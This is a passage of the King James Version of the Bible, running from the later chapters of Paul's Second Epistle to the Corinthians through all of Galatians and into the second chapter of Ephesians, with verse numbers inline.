recompence in the same, (I speak as unto my children,) +be ye also enlarged. + +6:14 Be ye not unequally yoked together with unbelievers: for what +fellowship hath righteousness with unrighteousness? and what communion +hath light with darkness? 6:15 And what concord hath Christ with +Belial? or what part hath he that believeth with an infidel? 6:16 And +what agreement hath the temple of God with idols? for ye are the +temple of the living God; as God hath said, I will dwell in them, and +walk in them; and I will be their God, and they shall be my people. + +6:17 Wherefore come out from among them, and be ye separate, saith the +Lord, and touch not the unclean thing; and I will receive you. + +6:18 And will be a Father unto you, and ye shall be my sons and +daughters, saith the Lord Almighty. + +7:1 Having therefore these promises, dearly beloved, let us cleanse +ourselves from all filthiness of the flesh and spirit, perfecting +holiness in the fear of God. + +7:2 Receive us; we have wronged no man, we have corrupted no man, we +have defrauded no man. + +7:3 I speak not this to condemn you: for I have said before, that ye +are in our hearts to die and live with you. + +7:4 Great is my boldness of speech toward you, great is my glorying of +you: I am filled with comfort, I am exceeding joyful in all our +tribulation. + +7:5 For, when we were come into Macedonia, our flesh had no rest, but +we were troubled on every side; without were fightings, within were +fears. + +7:6 Nevertheless God, that comforteth those that are cast down, +comforted us by the coming of Titus; 7:7 And not by his coming only, +but by the consolation wherewith he was comforted in you, when he told +us your earnest desire, your mourning, your fervent mind toward me; so +that I rejoiced the more. + +7:8 For though I made you sorry with a letter, I do not repent, though +I did repent: for I perceive that the same epistle hath made you +sorry, though it were but for a season. + +7:9 Now I rejoice, not that ye were made sorry, but that ye sorrowed +to repentance: for ye were made sorry after a godly manner, that ye +might receive damage by us in nothing. + +7:10 For godly sorrow worketh repentance to salvation not to be +repented of: but the sorrow of the world worketh death. + +7:11 For behold this selfsame thing, that ye sorrowed after a godly +sort, what carefulness it wrought in you, yea, what clearing of +yourselves, yea, what indignation, yea, what fear, yea, what vehement +desire, yea, what zeal, yea, what revenge! In all things ye have +approved yourselves to be clear in this matter. + +7:12 Wherefore, though I wrote unto you, I did it not for his cause +that had done the wrong, nor for his cause that suffered wrong, but +that our care for you in the sight of God might appear unto you. + +7:13 Therefore we were comforted in your comfort: yea, and exceedingly +the more joyed we for the joy of Titus, because his spirit was +refreshed by you all. + +7:14 For if I have boasted any thing to him of you, I am not ashamed; +but as we spake all things to you in truth, even so our boasting, +which I made before Titus, is found a truth. + +7:15 And his inward affection is more abundant toward you, whilst he +remembereth the obedience of you all, how with fear and trembling ye +received him. + +7:16 I rejoice therefore that I have confidence in you in all things. + +8:1 Moreover, brethren, we do you to wit of the grace of God bestowed +on the churches of Macedonia; 8:2 How that in a great trial of +affliction the abundance of their joy and their deep poverty abounded +unto the riches of their liberality. + +8:3 For to their power, I bear record, yea, and beyond their power +they were willing of themselves; 8:4 Praying us with much intreaty +that we would receive the gift, and take upon us the fellowship of the +ministering to the saints. + +8:5 And this they did, not as we hoped, but first gave their own +selves to the Lord, and unto us by the will of God. + +8:6 Insomuch that we desired Titus, that as he had begun, so he would +also finish in you the same grace also. + +8:7 Therefore, as ye abound in every thing, in faith, and utterance, +and knowledge, and in all diligence, and in your love to us, see that +ye abound in this grace also. + +8:8 I speak not by commandment, but by occasion of the forwardness of +others, and to prove the sincerity of your love. + +8:9 For ye know the grace of our Lord Jesus Christ, that, though he +was rich, yet for your sakes he became poor, that ye through his +poverty might be rich. + +8:10 And herein I give my advice: for this is expedient for you, who +have begun before, not only to do, but also to be forward a year ago. + +8:11 Now therefore perform the doing of it; that as there was a +readiness to will, so there may be a performance also out of that +which ye have. + +8:12 For if there be first a willing mind, it is accepted according to +that a man hath, and not according to that he hath not. + +8:13 For I mean not that other men be eased, and ye burdened: 8:14 But +by an equality, that now at this time your abundance may be a supply +for their want, that their abundance also may be a supply for your +want: that there may be equality: 8:15 As it is written, He that had +gathered much had nothing over; and he that had gathered little had no +lack. + +8:16 But thanks be to God, which put the same earnest care into the +heart of Titus for you. + +8:17 For indeed he accepted the exhortation; but being more forward, +of his own accord he went unto you. + +8:18 And we have sent with him the brother, whose praise is in the +gospel throughout all the churches; 8:19 And not that only, but who +was also chosen of the churches to travel with us with this grace, +which is administered by us to the glory of the same Lord, and +declaration of your ready mind: 8:20 Avoiding this, that no man should +blame us in this abundance which is administered by us: 8:21 Providing +for honest things, not only in the sight of the Lord, but also in the +sight of men. + +8:22 And we have sent with them our brother, whom we have oftentimes +proved diligent in many things, but now much more diligent, upon the +great confidence which I have in you. + +8:23 Whether any do enquire of Titus, he is my partner and +fellowhelper concerning you: or our brethren be enquired of, they are +the messengers of the churches, and the glory of Christ. + +8:24 Wherefore shew ye to them, and before the churches, the proof of +your love, and of our boasting on your behalf. + +9:1 For as touching the ministering to the saints, it is superfluous +for me to write to you: 9:2 For I know the forwardness of your mind, +for which I boast of you to them of Macedonia, that Achaia was ready a +year ago; and your zeal hath provoked very many. + +9:3 Yet have I sent the brethren, lest our boasting of you should be +in vain in this behalf; that, as I said, ye may be ready: 9:4 Lest +haply if they of Macedonia come with me, and find you unprepared, we +(that we say not, ye) should be ashamed in this same confident +boasting. + +9:5 Therefore I thought it necessary to exhort the brethren, that they +would go before unto you, and make up beforehand your bounty, whereof +ye had notice before, that the same might be ready, as a matter of +bounty, and not as of covetousness. + +9:6 But this I say, He which soweth sparingly shall reap also +sparingly; and he which soweth bountifully shall reap also +bountifully. + +9:7 Every man according as he purposeth in his heart, so let him give; +not grudgingly, or of necessity: for God loveth a cheerful giver. + +9:8 And God is able to make all grace abound toward you; that ye, +always having all sufficiency in all things, may abound to every good +work: 9:9 (As it is written, He hath dispersed abroad; he hath given +to the poor: his righteousness remaineth for ever. + +9:10 Now he that ministereth seed to the sower both minister bread for +your food, and multiply your seed sown, and increase the fruits of +your righteousness;) 9:11 Being enriched in every thing to all +bountifulness, which causeth through us thanksgiving to God. + +9:12 For the administration of this service not only supplieth the +want of the saints, but is abundant also by many thanksgivings unto +God; 9:13 Whiles by the experiment of this ministration they glorify +God for your professed subjection unto the gospel of Christ, and for +your liberal distribution unto them, and unto all men; 9:14 And by +their prayer for you, which long after you for the exceeding grace of +God in you. + +9:15 Thanks be unto God for his unspeakable gift. + +10:1 Now I Paul myself beseech you by the meekness and gentleness of +Christ, who in presence am base among you, but being absent am bold +toward you: 10:2 But I beseech you, that I may not be bold when I am +present with that confidence, wherewith I think to be bold against +some, which think of us as if we walked according to the flesh. + +10:3 For though we walk in the flesh, we do not war after the flesh: +10:4 (For the weapons of our warfare are not carnal, but mighty +through God to the pulling down of strong holds;) 10:5 Casting down +imaginations, and every high thing that exalteth itself against the +knowledge of God, and bringing into captivity every thought to the +obedience of Christ; 10:6 And having in a readiness to revenge all +disobedience, when your obedience is fulfilled. + +10:7 Do ye look on things after the outward appearance? If any man +trust to himself that he is Christ's, let him of himself think this +again, that, as he is Christ's, even so are we Christ's. + +10:8 For though I should boast somewhat more of our authority, which +the Lord hath given us for edification, and not for your destruction, +I should not be ashamed: 10:9 That I may not seem as if I would +terrify you by letters. + +10:10 For his letters, say they, are weighty and powerful; but his +bodily presence is weak, and his speech contemptible. + +10:11 Let such an one think this, that, such as we are in word by +letters when we are absent, such will we be also in deed when we are +present. + +10:12 For we dare not make ourselves of the number, or compare +ourselves with some that commend themselves: but they measuring +themselves by themselves, and comparing themselves among themselves, +are not wise. + +10:13 But we will not boast of things without our measure, but +according to the measure of the rule which God hath distributed to us, +a measure to reach even unto you. + +10:14 For we stretch not ourselves beyond our measure, as though we +reached not unto you: for we are come as far as to you also in +preaching the gospel of Christ: 10:15 Not boasting of things without +our measure, that is, of other men's labours; but having hope, when +your faith is increased, that we shall be enlarged by you according to +our rule abundantly, 10:16 To preach the gospel in the regions beyond +you, and not to boast in another man's line of things made ready to +our hand. + +10:17 But he that glorieth, let him glory in the Lord. + +10:18 For not he that commendeth himself is approved, but whom the +Lord commendeth. + +11:1 Would to God ye could bear with me a little in my folly: and +indeed bear with me. + +11:2 For I am jealous over you with godly jealousy: for I have +espoused you to one husband, that I may present you as a chaste virgin +to Christ. + +11:3 But I fear, lest by any means, as the serpent beguiled Eve +through his subtilty, so your minds should be corrupted from the +simplicity that is in Christ. + +11:4 For if he that cometh preacheth another Jesus, whom we have not +preached, or if ye receive another spirit, which ye have not received, +or another gospel, which ye have not accepted, ye might well bear with +him. + +11:5 For I suppose I was not a whit behind the very chiefest apostles. + +11:6 But though I be rude in speech, yet not in knowledge; but we have +been throughly made manifest among you in all things. + +11:7 Have I committed an offence in abasing myself that ye might be +exalted, because I have preached to you the gospel of God freely? +11:8 I robbed other churches, taking wages of them, to do you service. + +11:9 And when I was present with you, and wanted, I was chargeable to +no man: for that which was lacking to me the brethren which came from +Macedonia supplied: and in all things I have kept myself from being +burdensome unto you, and so will I keep myself. + +11:10 As the truth of Christ is in me, no man shall stop me of this +boasting in the regions of Achaia. + +11:11 Wherefore? because I love you not? God knoweth. + +11:12 But what I do, that I will do, that I may cut off occasion from +them which desire occasion; that wherein they glory, they may be found +even as we. + +11:13 For such are false apostles, deceitful workers, transforming +themselves into the apostles of Christ. + +11:14 And no marvel; for Satan himself is transformed into an angel of +light. + +11:15 Therefore it is no great thing if his ministers also be +transformed as the ministers of righteousness; whose end shall be +according to their works. + +11:16 I say again, Let no man think me a fool; if otherwise, yet as a +fool receive me, that I may boast myself a little. + +11:17 That which I speak, I speak it not after the Lord, but as it +were foolishly, in this confidence of boasting. + +11:18 Seeing that many glory after the flesh, I will glory also. + +11:19 For ye suffer fools gladly, seeing ye yourselves are wise. + +11:20 For ye suffer, if a man bring you into bondage, if a man devour +you, if a man take of you, if a man exalt himself, if a man smite you +on the face. + +11:21 I speak as concerning reproach, as though we had been weak. +Howbeit whereinsoever any is bold, (I speak foolishly,) I am bold +also. + +11:22 Are they Hebrews? so am I. Are they Israelites? so am I. Are +they the seed of Abraham? so am I. + +11:23 Are they ministers of Christ? (I speak as a fool) I am more; in +labours more abundant, in stripes above measure, in prisons more +frequent, in deaths oft. + +11:24 Of the Jews five times received I forty stripes save one. + +11:25 Thrice was I beaten with rods, once was I stoned, thrice I +suffered shipwreck, a night and a day I have been in the deep; 11:26 +In journeyings often, in perils of waters, in perils of robbers, in +perils by mine own countrymen, in perils by the heathen, in perils in +the city, in perils in the wilderness, in perils in the sea, in perils +among false brethren; 11:27 In weariness and painfulness, in watchings +often, in hunger and thirst, in fastings often, in cold and nakedness. + +11:28 Beside those things that are without, that which cometh upon me +daily, the care of all the churches. + +11:29 Who is weak, and I am not weak? who is offended, and I burn not? +11:30 If I must needs glory, I will glory of the things which concern +mine infirmities. + +11:31 The God and Father of our Lord Jesus Christ, which is blessed +for evermore, knoweth that I lie not. + +11:32 In Damascus the governor under Aretas the king kept the city of +the Damascenes with a garrison, desirous to apprehend me: 11:33 And +through a window in a basket was I let down by the wall, and escaped +his hands. + +12:1 It is not expedient for me doubtless to glory. I will come to +visions and revelations of the Lord. + +12:2 I knew a man in Christ above fourteen years ago, (whether in the +body, I cannot tell; or whether out of the body, I cannot tell: God +knoweth;) such an one caught up to the third heaven. + +12:3 And I knew such a man, (whether in the body, or out of the body, +I cannot tell: God knoweth;) 12:4 How that he was caught up into +paradise, and heard unspeakable words, which it is not lawful for a +man to utter. + +12:5 Of such an one will I glory: yet of myself I will not glory, but +in mine infirmities. + +12:6 For though I would desire to glory, I shall not be a fool; for I +will say the truth: but now I forbear, lest any man should think of me +above that which he seeth me to be, or that he heareth of me. + +12:7 And lest I should be exalted above measure through the abundance +of the revelations, there was given to me a thorn in the flesh, the +messenger of Satan to buffet me, lest I should be exalted above +measure. + +12:8 For this thing I besought the Lord thrice, that it might depart +from me. + +12:9 And he said unto me, My grace is sufficient for thee: for my +strength is made perfect in weakness. Most gladly therefore will I +rather glory in my infirmities, that the power of Christ may rest upon +me. + +12:10 Therefore I take pleasure in infirmities, in reproaches, in +necessities, in persecutions, in distresses for Christ's sake: for +when I am weak, then am I strong. + +12:11 I am become a fool in glorying; ye have compelled me: for I +ought to have been commended of you: for in nothing am I behind the +very chiefest apostles, though I be nothing. + +12:12 Truly the signs of an apostle were wrought among you in all +patience, in signs, and wonders, and mighty deeds. + +12:13 For what is it wherein ye were inferior to other churches, +except it be that I myself was not burdensome to you? forgive me this +wrong. + +12:14 Behold, the third time I am ready to come to you; and I will not +be burdensome to you: for I seek not your's but you: for the children +ought not to lay up for the parents, but the parents for the children. + +12:15 And I will very gladly spend and be spent for you; though the +more abundantly I love you, the less I be loved. + +12:16 But be it so, I did not burden you: nevertheless, being crafty, +I caught you with guile. + +12:17 Did I make a gain of you by any of them whom I sent unto you? +12:18 I desired Titus, and with him I sent a brother. Did Titus make a +gain of you? walked we not in the same spirit? walked we not in the +same steps? 12:19 Again, think ye that we excuse ourselves unto you? +we speak before God in Christ: but we do all things, dearly beloved, +for your edifying. + +12:20 For I fear, lest, when I come, I shall not find you such as I +would, and that I shall be found unto you such as ye would not: lest +there be debates, envyings, wraths, strifes, backbitings, whisperings, +swellings, tumults: 12:21 And lest, when I come again, my God will +humble me among you, and that I shall bewail many which have sinned +already, and have not repented of the uncleanness and fornication and +lasciviousness which they have committed. + +13:1 This is the third time I am coming to you. In the mouth of two or +three witnesses shall every word be established. + +13:2 I told you before, and foretell you, as if I were present, the +second time; and being absent now I write to them which heretofore +have sinned, and to all other, that, if I come again, I will not +spare: 13:3 Since ye seek a proof of Christ speaking in me, which to +you-ward is not weak, but is mighty in you. + +13:4 For though he was crucified through weakness, yet he liveth by +the power of God. For we also are weak in him, but we shall live with +him by the power of God toward you. + +13:5 Examine yourselves, whether ye be in the faith; prove your own +selves. Know ye not your own selves, how that Jesus Christ is in you, +except ye be reprobates? 13:6 But I trust that ye shall know that we +are not reprobates. + +13:7 Now I pray to God that ye do no evil; not that we should appear +approved, but that ye should do that which is honest, though we be as +reprobates. + +13:8 For we can do nothing against the truth, but for the truth. + +13:9 For we are glad, when we are weak, and ye are strong: and this +also we wish, even your perfection. + +13:10 Therefore I write these things being absent, lest being present +I should use sharpness, according to the power which the Lord hath +given me to edification, and not to destruction. + +13:11 Finally, brethren, farewell. Be perfect, be of good comfort, be +of one mind, live in peace; and the God of love and peace shall be +with you. + +13:12 Greet one another with an holy kiss. + +13:13 All the saints salute you. + +13:14 The grace of the Lord Jesus Christ, and the love of God, and the +communion of the Holy Ghost, be with you all. Amen. + + + + +The Epistle of Paul the Apostle to the Galatians + + +1:1 Paul, an apostle, (not of men, neither by man, but by Jesus +Christ, and God the Father, who raised him from the dead;) 1:2 And all +the brethren which are with me, unto the churches of Galatia: 1:3 +Grace be to you and peace from God the Father, and from our Lord Jesus +Christ, 1:4 Who gave himself for our sins, that he might deliver us +from this present evil world, according to the will of God and our +Father: 1:5 To whom be glory for ever and ever. Amen. + +1:6 I marvel that ye are so soon removed from him that called you into +the grace of Christ unto another gospel: 1:7 Which is not another; but +there be some that trouble you, and would pervert the gospel of +Christ. + +1:8 But though we, or an angel from heaven, preach any other gospel +unto you than that which we have preached unto you, let him be +accursed. + +1:9 As we said before, so say I now again, if any man preach any other +gospel unto you than that ye have received, let him be accursed. + +1:10 For do I now persuade men, or God? or do I seek to please men? +for if I yet pleased men, I should not be the servant of Christ. + +1:11 But I certify you, brethren, that the gospel which was preached +of me is not after man. + +1:12 For I neither received it of man, neither was I taught it, but by +the revelation of Jesus Christ. + +1:13 For ye have heard of my conversation in time past in the Jews' +religion, how that beyond measure I persecuted the church of God, and +wasted it: 1:14 And profited in the Jews' religion above many my +equals in mine own nation, being more exceedingly zealous of the +traditions of my fathers. + +1:15 But when it pleased God, who separated me from my mother's womb, +and called me by his grace, 1:16 To reveal his Son in me, that I might +preach him among the heathen; immediately I conferred not with flesh +and blood: 1:17 Neither went I up to Jerusalem to them which were +apostles before me; but I went into Arabia, and returned again unto +Damascus. + +1:18 Then after three years I went up to Jerusalem to see Peter, and +abode with him fifteen days. + +1:19 But other of the apostles saw I none, save James the Lord's +brother. + +1:20 Now the things which I write unto you, behold, before God, I lie +not. + +1:21 Afterwards I came into the regions of Syria and Cilicia; 1:22 And +was unknown by face unto the churches of Judaea which were in Christ: +1:23 But they had heard only, That he which persecuted us in times +past now preacheth the faith which once he destroyed. + +1:24 And they glorified God in me. + +2:1 Then fourteen years after I went up again to Jerusalem with +Barnabas, and took Titus with me also. + +2:2 And I went up by revelation, and communicated unto them that +gospel which I preach among the Gentiles, but privately to them which +were of reputation, lest by any means I should run, or had run, in +vain. + +2:3 But neither Titus, who was with me, being a Greek, was compelled +to be circumcised: 2:4 And that because of false brethren unawares +brought in, who came in privily to spy out our liberty which we have +in Christ Jesus, that they might bring us into bondage: 2:5 To whom we +gave place by subjection, no, not for an hour; that the truth of the +gospel might continue with you. + +2:6 But of these who seemed to be somewhat, (whatsoever they were, it +maketh no matter to me: God accepteth no man's person:) for they who +seemed to be somewhat in conference added nothing to me: 2:7 But +contrariwise, when they saw that the gospel of the uncircumcision was +committed unto me, as the gospel of the circumcision was unto Peter; +2:8 (For he that wrought effectually in Peter to the apostleship of +the circumcision, the same was mighty in me toward the Gentiles:) 2:9 +And when James, Cephas, and John, who seemed to be pillars, perceived +the grace that was given unto me, they gave to me and Barnabas the +right hands of fellowship; that we should go unto the heathen, and +they unto the circumcision. + +2:10 Only they would that we should remember the poor; the same which +I also was forward to do. + +2:11 But when Peter was come to Antioch, I withstood him to the face, +because he was to be blamed. + +2:12 For before that certain came from James, he did eat with the +Gentiles: but when they were come, he withdrew and separated himself, +fearing them which were of the circumcision. + +2:13 And the other Jews dissembled likewise with him; insomuch that +Barnabas also was carried away with their dissimulation. + +2:14 But when I saw that they walked not uprightly according to the +truth of the gospel, I said unto Peter before them all, If thou, being +a Jew, livest after the manner of Gentiles, and not as do the Jews, +why compellest thou the Gentiles to live as do the Jews? 2:15 We who +are Jews by nature, and not sinners of the Gentiles, 2:16 Knowing that +a man is not justified by the works of the law, but by the faith of +Jesus Christ, even we have believed in Jesus Christ, that we might be +justified by the faith of Christ, and not by the works of the law: for +by the works of the law shall no flesh be justified. + +2:17 But if, while we seek to be justified by Christ, we ourselves +also are found sinners, is therefore Christ the minister of sin? God +forbid. + +2:18 For if I build again the things which I destroyed, I make myself +a transgressor. + +2:19 For I through the law am dead to the law, that I might live unto +God. + +2:20 I am crucified with Christ: neverthless I live; yet not I, but +Christ liveth in me: and the life which I now live in the flesh I live +by the faith of the Son of God, who loved me, and gave himself for me. + +2:21 I do not frustrate the grace of God: for if righteousness come by +the law, then Christ is dead in vain. + +3:1 O foolish Galatians, who hath bewitched you, that ye should not +obey the truth, before whose eyes Jesus Christ hath been evidently set +forth, crucified among you? 3:2 This only would I learn of you, +Received ye the Spirit by the works of the law, or by the hearing of +faith? 3:3 Are ye so foolish? having begun in the Spirit, are ye now +made perfect by the flesh? 3:4 Have ye suffered so many things in +vain? if it be yet in vain. + +3:5 He therefore that ministereth to you the Spirit, and worketh +miracles among you, doeth he it by the works of the law, or by the +hearing of faith? 3:6 Even as Abraham believed God, and it was +accounted to him for righteousness. + +3:7 Know ye therefore that they which are of faith, the same are the +children of Abraham. + +3:8 And the scripture, foreseeing that God would justify the heathen +through faith, preached before the gospel unto Abraham, saying, In +thee shall all nations be blessed. + +3:9 So then they which be of faith are blessed with faithful Abraham. + +3:10 For as many as are of the works of the law are under the curse: +for it is written, Cursed is every one that continueth not in all +things which are written in the book of the law to do them. + +3:11 But that no man is justified by the law in the sight of God, it +is evident: for, The just shall live by faith. + +3:12 And the law is not of faith: but, The man that doeth them shall +live in them. + +3:13 Christ hath redeemed us from the curse of the law, being made a +curse for us: for it is written, Cursed is every one that hangeth on a +tree: 3:14 That the blessing of Abraham might come on the Gentiles +through Jesus Christ; that we might receive the promise of the Spirit +through faith. + +3:15 Brethren, I speak after the manner of men; Though it be but a +man's covenant, yet if it be confirmed, no man disannulleth, or addeth +thereto. + +3:16 Now to Abraham and his seed were the promises made. He saith not, +And to seeds, as of many; but as of one, And to thy seed, which is +Christ. + +3:17 And this I say, that the covenant, that was confirmed before of +God in Christ, the law, which was four hundred and thirty years after, +cannot disannul, that it should make the promise of none effect. + +3:18 For if the inheritance be of the law, it is no more of promise: +but God gave it to Abraham by promise. + +3:19 Wherefore then serveth the law? It was added because of +transgressions, till the seed should come to whom the promise was +made; and it was ordained by angels in the hand of a mediator. + +3:20 Now a mediator is not a mediator of one, but God is one. + +3:21 Is the law then against the promises of God? God forbid: for if +there had been a law given which could have given life, verily +righteousness should have been by the law. + +3:22 But the scripture hath concluded all under sin, that the promise +by faith of Jesus Christ might be given to them that believe. + +3:23 But before faith came, we were kept under the law, shut up unto +the faith which should afterwards be revealed. + +3:24 Wherefore the law was our schoolmaster to bring us unto Christ, +that we might be justified by faith. + +3:25 But after that faith is come, we are no longer under a +schoolmaster. + +3:26 For ye are all the children of God by faith in Christ Jesus. + +3:27 For as many of you as have been baptized into Christ have put on +Christ. + +3:28 There is neither Jew nor Greek, there is neither bond nor free, +there is neither male nor female: for ye are all one in Christ Jesus. + +3:29 And if ye be Christ's, then are ye Abraham's seed, and heirs +according to the promise. + +4:1 Now I say, That the heir, as long as he is a child, differeth +nothing from a servant, though he be lord of all; 4:2 But is under +tutors and governors until the time appointed of the father. + +4:3 Even so we, when we were children, were in bondage under the +elements of the world: 4:4 But when the fulness of the time was come, +God sent forth his Son, made of a woman, made under the law, 4:5 To +redeem them that were under the law, that we might receive the +adoption of sons. + +4:6 And because ye are sons, God hath sent forth the Spirit of his Son +into your hearts, crying, Abba, Father. + +4:7 Wherefore thou art no more a servant, but a son; and if a son, +then an heir of God through Christ. + +4:8 Howbeit then, when ye knew not God, ye did service unto them which +by nature are no gods. + +4:9 But now, after that ye have known God, or rather are known of God, +how turn ye again to the weak and beggarly elements, whereunto ye +desire again to be in bondage? 4:10 Ye observe days, and months, and +times, and years. + +4:11 I am afraid of you, lest I have bestowed upon you labour in vain. + +4:12 Brethren, I beseech you, be as I am; for I am as ye are: ye have +not injured me at all. + +4:13 Ye know how through infirmity of the flesh I preached the gospel +unto you at the first. + +4:14 And my temptation which was in my flesh ye despised not, nor +rejected; but received me as an angel of God, even as Christ Jesus. + +4:15 Where is then the blessedness ye spake of? for I bear you record, +that, if it had been possible, ye would have plucked out your own +eyes, and have given them to me. + +4:16 Am I therefore become your enemy, because I tell you the truth? +4:17 They zealously affect you, but not well; yea, they would exclude +you, that ye might affect them. + +4:18 But it is good to be zealously affected always in a good thing, +and not only when I am present with you. + +4:19 My little children, of whom I travail in birth again until Christ +be formed in you, 4:20 I desire to be present with you now, and to +change my voice; for I stand in doubt of you. + +4:21 Tell me, ye that desire to be under the law, do ye not hear the +law? 4:22 For it is written, that Abraham had two sons, the one by a +bondmaid, the other by a freewoman. + +4:23 But he who was of the bondwoman was born after the flesh; but he +of the freewoman was by promise. + +4:24 Which things are an allegory: for these are the two covenants; +the one from the mount Sinai, which gendereth to bondage, which is +Agar. + +4:25 For this Agar is mount Sinai in Arabia, and answereth to +Jerusalem which now is, and is in bondage with her children. + +4:26 But Jerusalem which is above is free, which is the mother of us +all. + +4:27 For it is written, Rejoice, thou barren that bearest not; break +forth and cry, thou that travailest not: for the desolate hath many +more children than she which hath an husband. + +4:28 Now we, brethren, as Isaac was, are the children of promise. + +4:29 But as then he that was born after the flesh persecuted him that +was born after the Spirit, even so it is now. + +4:30 Nevertheless what saith the scripture? Cast out the bondwoman and +her son: for the son of the bondwoman shall not be heir with the son +of the freewoman. + +4:31 So then, brethren, we are not children of the bondwoman, but of +the free. + +5:1 Stand fast therefore in the liberty wherewith Christ hath made us +free, and be not entangled again with the yoke of bondage. + +5:2 Behold, I Paul say unto you, that if ye be circumcised, Christ +shall profit you nothing. + +5:3 For I testify again to every man that is circumcised, that he is a +debtor to do the whole law. + +5:4 Christ is become of no effect unto you, whosoever of you are +justified by the law; ye are fallen from grace. + +5:5 For we through the Spirit wait for the hope of righteousness by +faith. + +5:6 For in Jesus Christ neither circumcision availeth any thing, nor +uncircumcision; but faith which worketh by love. + +5:7 Ye did run well; who did hinder you that ye should not obey the +truth? 5:8 This persuasion cometh not of him that calleth you. + +5:9 A little leaven leaveneth the whole lump. + +5:10 I have confidence in you through the Lord, that ye will be none +otherwise minded: but he that troubleth you shall bear his judgment, +whosoever he be. + +5:11 And I, brethren, if I yet preach circumcision, why do I yet +suffer persecution? then is the offence of the cross ceased. + +5:12 I would they were even cut off which trouble you. + +5:13 For, brethren, ye have been called unto liberty; only use not +liberty for an occasion to the flesh, but by love serve one another. + +5:14 For all the law is fulfilled in one word, even in this; Thou +shalt love thy neighbour as thyself. + +5:15 But if ye bite and devour one another, take heed that ye be not +consumed one of another. + +5:16 This I say then, Walk in the Spirit, and ye shall not fulfil the +lust of the flesh. + +5:17 For the flesh lusteth against the Spirit, and the Spirit against +the flesh: and these are contrary the one to the other: so that ye +cannot do the things that ye would. + +5:18 But if ye be led of the Spirit, ye are not under the law. + +5:19 Now the works of the flesh are manifest, which are these; +Adultery, fornication, uncleanness, lasciviousness, 5:20 Idolatry, +witchcraft, hatred, variance, emulations, wrath, strife, seditions, +heresies, 5:21 Envyings, murders, drunkenness, revellings, and such +like: of the which I tell you before, as I have also told you in time +past, that they which do such things shall not inherit the kingdom of +God. + +5:22 But the fruit of the Spirit is love, joy, peace, longsuffering, +gentleness, goodness, faith, 5:23 Meekness, temperance: against such +there is no law. + +5:24 And they that are Christ's have crucified the flesh with the +affections and lusts. + +5:25 If we live in the Spirit, let us also walk in the Spirit. + +5:26 Let us not be desirous of vain glory, provoking one another, +envying one another. + +6:1 Brethren, if a man be overtaken in a fault, ye which are +spiritual, restore such an one in the spirit of meekness; considering +thyself, lest thou also be tempted. + +6:2 Bear ye one another's burdens, and so fulfil the law of Christ. + +6:3 For if a man think himself to be something, when he is nothing, he +deceiveth himself. + +6:4 But let every man prove his own work, and then shall he have +rejoicing in himself alone, and not in another. + +6:5 For every man shall bear his own burden. + +6:6 Let him that is taught in the word communicate unto him that +teacheth in all good things. + +6:7 Be not deceived; God is not mocked: for whatsoever a man soweth, +that shall he also reap. + +6:8 For he that soweth to his flesh shall of the flesh reap +corruption; but he that soweth to the Spirit shall of the Spirit reap +life everlasting. + +6:9 And let us not be weary in well doing: for in due season we shall +reap, if we faint not. + +6:10 As we have therefore opportunity, let us do good unto all men, +especially unto them who are of the household of faith. + +6:11 Ye see how large a letter I have written unto you with mine own +hand. + +6:12 As many as desire to make a fair shew in the flesh, they +constrain you to be circumcised; only lest they should suffer +persecution for the cross of Christ. + +6:13 For neither they themselves who are circumcised keep the law; but +desire to have you circumcised, that they may glory in your flesh. + +6:14 But God forbid that I should glory, save in the cross of our Lord +Jesus Christ, by whom the world is crucified unto me, and I unto the +world. + +6:15 For in Christ Jesus neither circumcision availeth any thing, nor +uncircumcision, but a new creature. + +6:16 And as many as walk according to this rule, peace be on them, and +mercy, and upon the Israel of God. + +6:17 From henceforth let no man trouble me: for I bear in my body the +marks of the Lord Jesus. + +6:18 Brethren, the grace of our Lord Jesus Christ be with your spirit. + +Amen. + + + +The Epistle of Paul the Apostle to the Ephesians + + +1:1 Paul, an apostle of Jesus Christ by the will of God, to the +saints which are at Ephesus, and to the faithful in Christ Jesus: +1:2 Grace be to you, and peace, from God our Father, and from the Lord +Jesus Christ. + +1:3 Blessed be the God and Father of our Lord Jesus Christ, who hath +blessed us with all spiritual blessings in heavenly places in Christ: +1:4 According as he hath chosen us in him before the foundation of the +world, that we should be holy and without blame before him in love: +1:5 Having predestinated us unto the adoption of children by Jesus +Christ to himself, according to the good pleasure of his will, 1:6 To +the praise of the glory of his grace, wherein he hath made us accepted +in the beloved. + +1:7 In whom we have redemption through his blood, the forgiveness of +sins, according to the riches of his grace; 1:8 Wherein he hath +abounded toward us in all wisdom and prudence; 1:9 Having made known +unto us the mystery of his will, according to his good pleasure which +he hath purposed in himself: 1:10 That in the dispensation of the +fulness of times he might gather together in one all things in Christ, +both which are in heaven, and which are on earth; even in him: 1:11 In +whom also we have obtained an inheritance, being predestinated +according to the purpose of him who worketh all things after the +counsel of his own will: 1:12 That we should be to the praise of his +glory, who first trusted in Christ. + +1:13 In whom ye also trusted, after that ye heard the word of truth, +the gospel of your salvation: in whom also after that ye believed, ye +were sealed with that holy Spirit of promise, 1:14 Which is the +earnest of our inheritance until the redemption of the purchased +possession, unto the praise of his glory. + +1:15 Wherefore I also, after I heard of your faith in the Lord Jesus, +and love unto all the saints, 1:16 Cease not to give thanks for you, +making mention of you in my prayers; 1:17 That the God of our Lord +Jesus Christ, the Father of glory, may give unto you the spirit of +wisdom and revelation in the knowledge of him: 1:18 The eyes of your +understanding being enlightened; that ye may know what is the hope of +his calling, and what the riches of the glory of his inheritance in +the saints, 1:19 And what is the exceeding greatness of his power to +us-ward who believe, according to the working of his mighty power, +1:20 Which he wrought in Christ, when he raised him from the dead, and +set him at his own right hand in the heavenly places, 1:21 Far above +all principality, and power, and might, and dominion, and every name +that is named, not only in this world, but also in that which is to +come: 1:22 And hath put all things under his feet, and gave him to be +the head over all things to the church, 1:23 Which is his body, the +fulness of him that filleth all in all. + +2:1 And you hath he quickened, who were dead in trespasses and sins; +2:2 Wherein in time past ye walked according to the course of this +world, according to the prince of the power of the air, the spirit +that now worketh in the children of disobedience: 2:3 Among whom also +we all had our conversation in times past in the lusts of our flesh, +fulfilling the desires of the flesh and of the mind; and were by +nature the children of wrath, even as others. + +2:4 But God, who is rich in mercy, for his great love wherewith he +loved us, 2:5 Even when we were dead in sins, hath quickened us +together with Christ, (by grace ye are saved;) 2:6 And hath raised us +up together, and made us sit together in heavenly places in Christ +Jesus: 2:7 That in the ages to come he might shew the exceeding riches +of his grace in his kindness toward us through Christ Jesus. + +2:8 For by grace are ye saved through faith; and that not of +yourselves: it is the gift of God: 2:9 Not of works, lest any man +should boast. + +2:10 For we are his workmanship, created in Christ Jesus unto good 